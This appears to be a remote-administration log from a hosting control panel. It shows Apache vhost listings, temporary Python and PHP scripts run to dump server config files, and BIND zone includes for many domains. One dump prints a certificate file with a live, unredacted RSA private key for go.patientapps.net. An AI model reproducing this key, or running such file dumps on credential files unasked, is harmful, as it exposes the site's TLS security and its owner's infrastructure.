         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-24 06:01:24: 

PUT: /tmp/pkp257287

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_go_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-24 06:01:24: 

chmod 755 /tmp/pkp257287; /tmp/pkp257287; rm /tmp/pkp257287

2026-04-24 06:01:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_go_net.conf	1491
<VirtualHost *:80>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm
</VirtualHost>







2026-04-24 06:01:24: 

PUT: /tmp/pkp596038

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-24 06:01:24: 

chmod 755 /tmp/pkp596038; /tmp/pkp596038; rm /tmp/pkp596038

2026-04-24 06:01:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt	5356
2a:c7:1e:32:fc:20:bb:c7:1b:cd:13:06:de:42:03:ab

-----BEGIN CERTIFICATE-----
MIIE/jCCA+agAwIBAgISBUkdMc7ma+8XdayVglcSDnhkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDI0MDUwMjUwWhcNMjYwNzIzMDUwMjQ5WjAdMRswGQYDVQQD
ExJnby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCylR6d96wzogJOUkps34dX17qlEccy/630CU39m89IdDXIzZCYTixraH/q
dOBnJHTmo6vXor++cQ9WUIcxL9QWaiPKFuYcddv2/uYpo93snI9SJGiPk1qRnrym
6NuGaXh7ZSrGtQYtuXeaRyermesu60uQoDh15LDKW5IcDE4L1g+qW2L73vcUmJAO
irTEsGj05iCOSX5iWY8JH4SstDTn9ekU8A/2bvVKR0gYPGELW5IFts5Zoj+i3sTM
XEgdssiXw4KEvoKD2dAjjJch6U7qg5o6nR3fgRfud2y2kvB0NlaO1d8p28vloH4u
RlQCIGnu2X/iR7+3F/de+OrGYa0/AgMBAAGjggIgMIICHDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
RCESznhIt03dp1qJB6HgVB8m6+4wHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzAdBgNVHREEFjAUghJnby5wYXRpZW50YXBwcy5uZXQwEwYDVR0g
BAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxl
bmNyLm9yZy8xMDEuY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHYAyzj3FYl8
hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGdvhQauQAABAMARzBFAiEAmnRT
ptSoK6tqkgIfRBXisFbeoDkwc0i8ihkzoXnWGmsCIFSogSsmg5k3KokMHFjlrD6t
tbjjjHFgWIeQWvNsfANsAH0AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8
VScAAAGdvhQdQgAIAAAFAAgZW0EEAwBGMEQCIF4jhzhgt7QDuMFR564HHw58tOM4
8H+jXwaB/ziO5gCwAiARkia2TOPFV/Qh+CDlrLDpJNuqJZuXcuFC0wEdm9+5izAN
BgkqhkiG9w0BAQsFAAOCAQEARh5JoOawRkUE902Y4nd2+dfJSOt9xNl5T8a/+sVR
FC6jUPTMhm+J4xKDjFASRqBklbOASFAloc4gIc/uvhxW0PRFBWTg1/MGbi6rqT2p
Ad1TMek+4vUpnU2KfgrxuW8dGXUOS1i4dfsNSdinuHz17lc1lJvvvWEQkuCjDaKR
9FnWjdjRWBLBJlF/ZjrRXVGPTWtvsDx5OA9lvCbn8tZijW+vp7hfq7QyEMLhDwc9
6E1ASGWe1hhWj8I/BIJzoO7gaaQL/M3VzZOtf/EnV/Q5xbyEuDtPt7RgLrJ+s+OU
gV/vuA7TAxOyQoRCqAczuYHJhmTKL8rMoBQtlBN59mXfwQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCylR6d96wzogJO
Ukps34dX17qlEccy/630CU39m89IdDXIzZCYTixraH/qdOBnJHTmo6vXor++cQ9W
UIcxL9QWaiPKFuYcddv2/uYpo93snI9SJGiPk1qRnrym6NuGaXh7ZSrGtQYtuXea
Ryermesu60uQoDh15LDKW5IcDE4L1g+qW2L73vcUmJAOirTEsGj05iCOSX5iWY8J
H4SstDTn9ekU8A/2bvVKR0gYPGELW5IFts5Zoj+i3sTMXEgdssiXw4KEvoKD2dAj
jJch6U7qg5o6nR3fgRfud2y2kvB0NlaO1d8p28vloH4uRlQCIGnu2X/iR7+3F/de
+OrGYa0/AgMBAAECggEADymrJlV7qQyl7nl9OT5HcxVtkwtt4u4jmndZyGE82dWI
JYsSrmPg0KPYTJNs5EULqfOWqSH37tcRqs3+lJYPh3GupT+JfTwil5ev+jQgKTFn
190ghaRIydl1AiT+UqzM3olJ9wIyypoXRiGphB/3AI5Y5ag88wGeYyggQUJoNAfu
BAILODofrBTuUedcBluqqQzVlfwlMKeNgO9Cwhd226C93XOrnjJXUO6dqlJpVFHF
jUDo25QZCiZgxc0kqjZtP+sxHEEIOTMU+2CywsTACUV1089JqtWi4n8XTzFH+V/c
NP2kWL3Ab6gr5UOg4OJhXV45+jt+ykTRreEHHXM/9QKBgQDhKsCAJU8H8HDbM7oX
kHql7S4SPLu/8T2BZUvtf7R5weBsqRzIwp5abTMIicyQ9BW5KzQSuJHajd8OpLSk
7Vo/YQfwXWa59C0iR+oDFadn1/ZIcqu2Ds8q4xGApUf3N98UrEzCUNB/1oyVH7PP
Yzsx27fZIaoh0XWQUQ29u/LKgwKBgQDLCVgTM26zEi9e+CKrP63/W2GJF/1Yo9Ho
ToT1IG3ZO36/d0d2gKtuenIMxMoL6Tdcc83g5P5skdEWjVTxf2E7m+EiJ5zFNxN4
lb5n0JBxmGgM1Cb7AWyhhQn3GI7BckR1zzhVcMRk0HVwxwJOT2KeqBJK4WVrZLKf
PdMF6enFlQKBgDe10zEhif9F3zZtAvMHnUDmgQqkGjPwZS5ZuMKHYUjqzjM0WFnX
xURMVl8bcRDAQ4uwA89J+VRg27qMx+EylKyvvj4bbeo+XthngJ/IwMWxqk7ciF2g
JmPPEKqKulaRbVF5G/jL8/pdRCU1VdDPFXtNiJxhdu2tHHBbjZHPKdAvAoGAZvg9
L7e026JMXfiv9HOeNdRNWe7NsKecbBluOrcQnswaktXWa1YEG0qEDs+6vGGxjvS4
I+de1Qb6qFpTCwsT79w1SFIYorg06sHex92xc7rcgi0R+9iUFDJZhHRy6c6ew7St
GD/RimNiPCjhlX+TP21zoYBAJD/0iuga3nPr+CUCgYEAiMuOwEM4p1TBccxFhsgN
ZCQ+jTbOvJrciD74qcb4BTohk4/IENCCajU69pdoOQNFUA5pjmC5VDvyF5t9nB6z
Hz6I4QNgooV0qijW2suAoA3uCf3OQEt00b9LhyerkKoyWFZ0p96KqxCGlIcB9sD+
fUEetZOKlqPRtY3X5zv/oPE=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-24 06:01:25: Establishing a remote connection
2026-04-24 11:23:46: Establishing a connection
2026-04-24 11:23:47: 

PUT: /tmp/pkp325557

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 11:23:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp325557; rm /tmp/pkp325557'

2026-04-24 11:23:47: 
2026-04-24 11:23:47: 

PUT: /tmp/pkp987956

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/bind/named.conf.local')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-24 11:23:47: 

chmod 755 /tmp/pkp987956; /tmp/pkp987956; rm /tmp/pkp987956

2026-04-24 11:23:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/bind/named.conf.local	4987
//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

include "0299c0c61c7ba070834ba2dd758c9c51.conf"; # biblealive.us
include "25162dac9ffbcb0be59287b7a9bde7f4.conf"; # carelinks.net
include "54524ffc708f1919654eee3e8e8e8adb.conf"; # carelinks.org
include "265e805c99c946847c9512ae0a2f1979.conf"; # Unknown Zone
include "94cdb93348589672ae2f4f7d5cf38aba.conf"; # christadelphia.net
include "695c92f1e52b32224b4afd59cf37d6f1.conf"; # heaster.org
include "a9ce89f9cbbf500822cbde90492a4b59.conf"; # c-c-n.net
include "1a70a64890644d614d006709f4d07011.conf"; # bookofjames.info
include "76868f6e068adf5f82f053b795932883.conf"; # aletheiacollege.net
include "b64ede8e027cbe0b900c74b7dad61fc6.conf"; # hristadelfiane.org
include "a6604325e1e95bb658a4876ded716488.conf"; # realchrist.info
include "c23c0a067c65fe695faa3f188e27944c.conf"; # realdevil.info
include "0a6ad15e551aafb493c6806effeddcf2.conf"; # thisisyourbible.info
include "7695e2001b9158b46e53b17c49af86b5.conf"; # murrayyoung.com
include "063b25bf16976ce1a2c836785c63433d.conf"; # bible-basics.info
include "e3a645e9cd9a48a14dd8493b70d9eeb7.conf"; # n-e-v.info
include "62fb2e372bc0a32115fbc83c762f20b5.conf"; # biblebooks.org.uk
include "9b1deba5ba095e87244f37a8e3f127c3.conf"; # exjw.org.uk
include "32d4fd93b17a2291b23647ec24f8da21.conf"; # vards.info
include "de5342f930e16cce802d35118a2fa8d3.conf"; # waltonecclesia.info
include "6f67b388e6765da580018fda67333d25.conf"; # tacomaecclesia.net
include "9c176806fc238e21c915b63d0649fc22.conf"; # shiretune.com.au
include "1e54f6c33ee3ca2eea403fca319b0ee4.conf"; # r-b-c.org
include "2debffd89b49e0229c33680cd8802ecb.conf"; # maminas.info
include "7be199ed365109a6d40950ee59d1f556.conf"; # carelinksoutreach.info
include "eebb27648fd2a6fb3ddcc9ab90e7112b.conf"; # baptizo.info
include "1f505a75628761de494a35ab69db20dd.conf"; # carelinksaustralia.info
include "88c5638dfb94d699fd48b1feb9d60cff.conf"; # biblebasicsonline.com
include "a4eb3fca977ca6015dcdbcabf7d11d48.conf"; # thinkpinkpixels.com
include "3c5ac3f042be6256f4781cbc416678be.conf"; # dalmenynaroomabushwalkers.info
include "c0f3c184d08b11c006e309fb0115bdd6.conf"; # osnovybiblii.info
include "5228c1dbadd38e40039230194a4f9e79.conf"; # osnowybiblii.info
include "a991f2a33195300884cfb80603e68095.conf"; # gospelstudies.net
include "3c4b5f94d47374f5ce45f7155d4ae5a8.conf"; # christadelphianfraternal.info
include "35d18abc44b089ffa23e3e2f0807ece6.conf"; # theyoungdesigners.us
include "40b78c826a55a9eeca31786e0586fee9.conf"; # islamicstate.info
include "93997bd832de09ba4e56713eaa81d340.conf"; # christadelphian.video
include "320b669d287ba63741ff57cf3e690770.conf"; # whysuffering.info
include "11674aee41a9cabe2304d659e10b5dd0.conf"; # drewmarshall.ca
include "0766fc100eec8a6853d7ddbdaedbb9bf.conf"; # freebible.info
include "05b92d9466be1ff60f99171b12b904c0.conf"; # bible.boston
include "d15154fdc73f852a93983b8efa978ccd.conf"; # carelinks-uk.org
include "ffb28d26a57997ceef6aa88af3ca2eb1.conf"; # siiguides.com
include "c92f7952a5e58a40373c6ea0395bbe60.conf"; # patientappsinc.com
include "69d0916aecf832c706b4d0e9097de457.conf"; # simplyinteractiveinc.com
include "9102cebf40552256181ade1b5794bce9.conf"; # vela.work
include "916eb0791d6219f551785c0d0cdb6551.conf"; # zoomchat.net
include "3d2ec12df06edc90dfcd3e90b9defc61.conf"; # stoughton.link
include "4e946d31d5dbbaea14c1f8a8cc65c592.conf"; # pjy.us
include "f526c54ffce876cc4878737cf365bd79.conf"; # the-computer-site.com
include "03d5b5f89be357e1588146db824a75a9.conf"; # hopeinstoughton.org
include "97b02af5a57f21e16869add9e7536c63.conf"; # patientapps.net
include "9ab47e96627d9522a0b8df2ee4322802.conf"; # patientapps.co
include "a1c902386bae85264c8bcd7d46d289a9.conf"; # emessage.email
include "1f055662da24bcf52398528dbf5a1c4f.conf"; # cityelectric.online
include "b77f3ffec345cac4b4296eed63420be1.conf"; # myapp.care
include "7312c9cb95b4bacf912d8bac1ea438cc.conf"; # vmix.com
include "6e7fd231117136482801b6740f7def61.conf"; # theyoungdesigners.com
include "ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf"; # bucketgigs.ca
include "82e710fb4c28419815112803356c4f79.conf"; # croydonchurch.info
include "d365b77ad7e9376e619973b277c11515.conf"; # kjvdictionary.org
include "b579aafafbcd32ebd30996c14e2929d0.conf"; # ineedtosaythis.com
include "e0dc27e9ac6120dd4b9b149abf3e317e.conf"; # dgmarshall.ca
include "210d2f210e4452e9446e4b9a5969250a.conf"; # dgmarshall.com
include "f9446b138d2c5ba2c536837db166189d.conf"; # hillrunfarm.ca
include "39a853d14cf222b11389743f34305dc2.conf"; # sosretreatscanada.com
include "28a5e75a7da01b086708dce3eb004d3c.conf"; # carelinks.org.uk
include "73c7599fdd5ae53f1a22acdec3f96f94.conf"; # cityelectric.site
include "6cba0a95209be6ac4156e85379be0bd6.conf"; # zoomchat.online
include "954ebedf55cc0740293342780846a6cd.conf"; # persianchurch.info
include "3d53240606bf6359dd62d3ebf20afc18.conf"; # patientapps.com






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
